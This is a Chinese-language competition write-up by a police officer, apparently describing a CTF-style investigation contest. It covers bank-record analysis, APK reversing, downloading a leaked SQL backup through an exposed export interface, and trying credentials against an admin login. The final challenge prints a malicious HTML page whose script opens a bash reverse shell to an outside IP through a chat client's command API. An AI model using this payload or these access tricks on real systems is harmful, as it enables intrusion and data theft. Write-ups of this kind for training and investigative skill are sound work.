复盘第四期 |浅析解题思路，首次参赛体验分享-文瑞鑫

比赛心得体会

本期发布的是来自临沂市蒙阴县公安局，文瑞鑫投递的复盘稿件，虽然是第一次参加比赛，但对比赛有着独特的见解和深刻的想法，能干脆利落地切入主题，不拖泥带水，提供直观明了、易于理解的解题方式。

一、比赛全方位覆盖，全警种参与共提升

此次数据研判比赛给我留下了深刻的印象。首先，比赛的组织形式非常出色，它面向全警种开放，为不同部门、不同层级的警务人员提供了一个展示自己才能、交流经验技巧的平台。这不仅促进了警务资源的整合与共享，更推动了全警种在数据研判领域的整体进步。还有，不同警种的侧重点是不一样的，我深刻感受到全警种协同作战的重要性。

二、题目设计贴近实战，注重应用能力提升

比赛中的题目设置非常用心，紧密围绕实战需求展开。这些题目不仅考察了我们对案件数据结构，web渗透方法的理解，更重要的是检验了我们如何将这些理论知识应用于实际案件工作中解决实际问题。在解题过程中，我不断思考如何将数据研判技术与实际案件相结合，提高打击犯罪的效率和准确性。这种以实战为导向的题目设计，极大地提升了我们的应用能力。

最后，感谢皮蛋厂的皮蛋们的指导：），第一次参加斟茶王者竞赛，写此做题记录，欢迎互相交流探讨~

赛事题目

1、资金初探

分析收取受害人资金的一级卡转账记录，统计其下级卡中接收受害人资金最多的账户

调取下载数据后，直接使用excel的数据透视进行分析如下：

2、运气爆棚

意外从其中一张银行卡6226*******6978927中找到了线索。（用重明查一下看看，也许有意想不到的收获，请以搜索结果中的涉案群组ID作为答案）

使用重明平台进行分析，运用高级搜索发现群组：

3、黑词大闯关

请启动下方的网站，帮助林风通过入群验证

黑话答题进入群组：

4、转移阵地

分析这个二维码，以二维码包含的链接末尾路径作为答案

黑话答题进入群组，发现二维码使用解析工具进行分析：

5、躲猫猫

分析这个APP，锁定其API接口地址的获取地址，以获取地址的TOKEN作为答案

使用apk的逆向工具进行解析，在资源文件中发现api接口信息

6、新的猫

找到新的API请求地址，以地址的末尾路径作为答案

访问api接口base64解密发现心得api接口，但已经失效

https://scene-7w9c3me0i50g40an-oss-3000.zhigeng08.toolmao.com/20240710.txt?token=82LBCHS0U0EU

发现时间为7月10日更改为15日

7、藏起来的钥匙

解包Telefram APP，找找看有没有新的线索，比如SDK。

回头看发现push的sdk信息：

8、拔萝卜

结合模拟调证，向星光推送的运营公司进行调证，以Telefram的开发者联系邮箱作为答案

使用模拟调证平台，运用sdk信息进行调证返回结果内存在开发者详细信息：

9、开门开门

分析新的API请求地址，找到Telefram的后台访问地址并获取登录权限。

使用调证返回信息进行尝试碰撞登陆，用户名、密码如下：

10、人真不少

聊天用户中最后登录IP为67.98.23.12的聊天用户数量

这个题目可以导出来分析的，我偷懒了用requests进行分析的

11、数据拖拉机

帮林风找到办法获取聊天消息内容，以聊天消息中的FLAG作为答案

直接通过F12浏览器控制台，利用用户导出的接口泄漏，去下载配置文件sql数据：

在请求网址中替换后半段为【backups/backup-1721112010274.sql】，下载后导入sql front，进行分析，发现聊天数据加密了，返回apk的配置文件分析加解密方式并查找密钥，前16 、后16位分别为秘钥和IV：

12、动物乐园

分析该群聊中的各个角色身份，锁定承担财务和洗钱职责的人员的用户名。

把数据库群聊全部解析后，发现每个角色的分工如下：

13、黑蛇白了

根据最新的群内消息，判断黑蛇死亡地所在市和区的名称

先对sql加密数据进行脚本解密：

使用街景识图查看具体位置：

14、秘上加谜

分析查找镜像内容中的可能线索。

内含有压缩文件，获取flag-1：

Flag-2：

Flag-3：

15、悄悄潜入

尝试登录黑蛇的聊天软件，通过静默的方式获取浣熊的聊天客户端权限

根据上面的chaturl和用户名密码登录账号：

构建恶意网页1.html

<!DOCTYPE html><html lang="en">  <head>  </head>  <body>    <div class="background-div"></div>    <script>      this.parent.chatClientApi.execCommand(1818, 'bash -i >& /dev/tcp/47.xxx.xxx.72/8877 0>&1');    </script>  </body></html>